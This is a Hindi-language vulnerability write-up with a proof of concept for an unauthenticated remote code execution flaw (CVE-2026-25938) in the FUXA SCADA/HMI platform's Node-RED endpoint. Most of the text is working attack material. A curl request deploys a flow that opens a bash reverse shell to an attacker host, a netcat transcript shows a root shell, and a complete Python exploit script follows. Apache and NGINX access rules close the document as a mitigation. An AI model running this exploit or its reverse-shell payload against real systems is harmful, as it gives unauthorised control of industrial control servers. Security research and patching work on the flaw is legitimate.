
FUXA पर CVE-2026-25938 अप्रमाणित RCE भेद्यता का शोषण करने के लिए एक विवरण और PoC
FUXA एक मुफ़्त, ओपन-सोर्स, वेब-आधारित SCADA (सुपरवाइज़री कंट्रोल एंड डेटा एक्विज़िशन) और HMI (ह्यूमन-मशीन इंटरफ़ेस) प्लेटफ़ॉर्म है जिसका उपयोग औद्योगिक स्वचालन, IoT, और रीयल-टाइम प्रोसेस विज़ुअलाइज़ेशन के लिए किया जाता है। यह उपयोगकर्ताओं को महंगे मालिकाना सॉफ़्टवेयर या भारी डेस्कटॉप एडिटर की आवश्यकता के बिना सीधे वेब ब्राउज़र में कस्टम डैशबोर्ड बनाने और मशीनों की निगरानी करने की सुविधा देता है।
CVE-2026-25938 FUXA के संस्करण 1.2.8 से 1.2.10 को प्रभावित करता है जब Node-RED एकीकरण सक्षम होता है (यह डिफ़ॉल्ट रूप से सक्षम होता है)। यह भेद्यता Node-RED क्षमताओं को उजागर करने वाली कार्यक्षमता पर अपर्याप्त प्रमाणीकरण प्रवर्तन से उत्पन्न होती है, जिससे एक अनधिकृत दूरस्थ हमलावर उन ऑपरेशनों तक पहुँच सकता है जिनके लिए प्राधिकरण की आवश्यकता होनी चाहिए, जैसे कि फ्लो बनाना, जिनमें से एक सिस्टम पर कमांड निष्पादित करने में सक्षम होना। चूँकि Node-RED FUXA प्रक्रिया के विशेषाधिकारों के साथ फ्लो निष्पादित कर सकता है, यह प्रमाणीकरण बायपास अंततः अंतर्निहित सर्वर पर मनमाना दूरस्थ कोड निष्पादन का परिणाम दे सकता है। यह समस्या FUXA 1.2.11 और बाद के संस्करणों में हल की गई है।
हम Docker कंटेनर का उपयोग करके FUXA के एक भेद्य संस्करण को चलाएँगे, इस मामले में 1.2.8 संस्करण:
docker run -d -p 1881:1881 --name fuxa-1.2.8 frangoteam/fuxa:1.2.8
निम्नलिखित पेलोड भेद्यता का दुरुपयोग करते हुए exec नोड में निर्दिष्ट IP पते पर एक रिवर्स शेल ट्रिगर करेगा:
tab नोड "RCE" नामक एक फ्लो बनाएगा।inject नोड तैनात होने पर स्वचालित रूप से ट्रिगर होगा। यह सब इन मापदंडों "once": true और "onceDelay": 0.1 के कारण है।exec नोड वह कमांड निष्पादित करेगा जिसे हम निष्पादित करना चाहते हैं, इस मामले में रिवर्स शेल। यह "command": "bash <snip>" में निर्दिष्ट है।curl -X POST http://<IP_ADDRESS>:1881/nodered/flows \
-H "Content-Type: application/json" \
-H "Node-RED-Deployment-Type: full" \
-H "Referer: http://192.168.1.201:1881/editor" \
-d '[
{
"id": "tab1",
"type": "tab",
"label": "RCE",
"disabled": false,
"info": ""
},
{
"id": "inject1",
"type": "inject",
"z": "tab1",
"name": "",
"props": [{"p": "payload"}],
"repeat": "",
"crontab": "",
"once": true,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 150,
"y": 100,
"wires": [["exec1"]]
},
{
"id": "exec1",
"type": "exec",
"z": "tab1",
"command": "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "",
"winHide": false,
"oldrc": false,
"name": "",
"x": 350,
"y": 100,
"wires": [["debug1"], [], []]
}
]'
यदि हम अपने रिवर्स शेल के लिए एक लिसनर बनाते हैं, तो पेलोड भेजने पर हमें रूट शेल के साथ एक कनेक्शन प्राप्त होगा:
┌──(kali㉿jbkira)-[~]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.36] from (UNKNOWN) [192.168.1.201] 59546
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@887eaf642fc4:/usr/src/app/FUXA/server#
#!/usr/bin/env python3
import argparse
import requests
import sys
import json
# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"
def exploit(target_url, listener_ip, listener_port):
# Extract host:port from URL for Referer
target_host = target_url.split("//")[1].split("/")[0]
# Build the full endpoint
if not target_url.endswith("/"):
target_url += "/"
endpoint = f"{target_url}nodered/flows"
# Payload for the exploit
payload = [
{
"id": "tab1",
"type": "tab",
"label": "RCE",
"disabled": False,
"info": ""
},
{
"id": "inject1",
"type": "inject",
"z": "tab1",
"name": "",
"props": [{"p": "payload"}],
"repeat": "",
"crontab": "",
"once": True,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 150,
"y": 100,
"wires": [["exec1"]]
},
{
"id": "exec1",
"type": "exec",
"z": "tab1",
"command": f"bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "",
"winHide": False,
"oldrc": False,
"name": "",
"x": 350,
"y": 100,
"wires": [["debug1"], [], []]
}
]
headers = {
"Content-Type": "application/json",
"Referer": f"http://{target_host}/editor"
}
try:
response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
if response.status_code == 200 or response.status_code == 204:
print(f"{GREEN}[+] Exploit successful! Check your listener for a reverse shell. ;){RESET}")
else:
print(f"{RED}[-] Exploit failed. Status Code: {response.status_code}{RESET}")
except requests.exceptions.RequestException as e:
print(f"{RED}[-] Error occurred: {e}{RESET}")
def argparse_setup():
parser = argparse.ArgumentParser(description="Exploit for FUXA Unauthenticated RCE (CVE-2026-25938) created by JBKira")
parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:1881/)", required=True)
parser.add_argument("-l", "--listener-ip", help="Your listener IP for reverse shell", required=True)
parser.add_argument("-lp", "--listener-port", type=int, default=443, help="Port for reverse shell (default: 443)")
return parser.parse_args()
def banner():
print(f"{YELLOW}")
print(r"""
_____ _ _ _____ _____ _____ _____ ____ _____ _____ _____ _____ _____
/ __ \ | | | ___| / __ \| _ |/ __ \ / ___| / __ \| ___|| _ ||____ | _ |
| / \/ | | | |__ ______`' / /'| |/' |`' / /'/ /___ ______`' / /'|___ \ | |_| | / /\ V /
| | | | | | __|______| / / | /| | / / | ___ \______| / / \ \\____ | \ \/ _ \
| \__/\ \_/ / |___ ./ /___\ |_/ /./ /___| \_/ | ./ /___/\__/ /.___/ /.___/ / |_| |
\____/\___/\____/ \_____/ \___/ \_____/\_____/ \_____/\____/ \____/ \____/\_____/
""")
print(f"CVE-2026-25938 Exploit for FUXA NODE-RED Unauthenticated RCE created by JBKira{RESET}")
print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")
def main():
args = argparse_setup()
banner()
exploit(args.url, args.listener_ip, args.listener_port)
if __name__ == "__main__":
main()
यदि संभव हो तो 1.2.11 के बराबर या उससे अधिक संस्करण में अपडेट करें, भेद्यता संस्करण 1.2.11 में ठीक कर दी गई है।
यदि अपडेट करना संभव नहीं है, तो आप निम्न कार्य कर सकते हैं:
यदि Apache का उपयोग एप्लिकेशन के प्रवेश बिंदु के रूप में कर रहे हैं। यह काम नहीं करेगा यदि Apache NAT, Docker Proxy, आदि के कारण क्लाइंट का IP नहीं देख सकता है।
<LocationMatch "^/nodered/">
Require ip 127.0.0.1
Require ip ::1
Require ip <TRUSTED_MGMT_CIDR>
</LocationMatch>
यदि NGINX का उपयोग एप्लिकेशन के प्रवेश बिंदु के रूप में कर रहे हैं। यह काम नहीं करेगा यदि NGINX NAT, Docker Proxy, आदि के कारण क्लाइंट का IP नहीं देख सकता है।
location /nodered/ {
allow 127.0.0.1;
allow ::1;
allow <TRUSTED_MGMT_CIDR>;
deny all;
}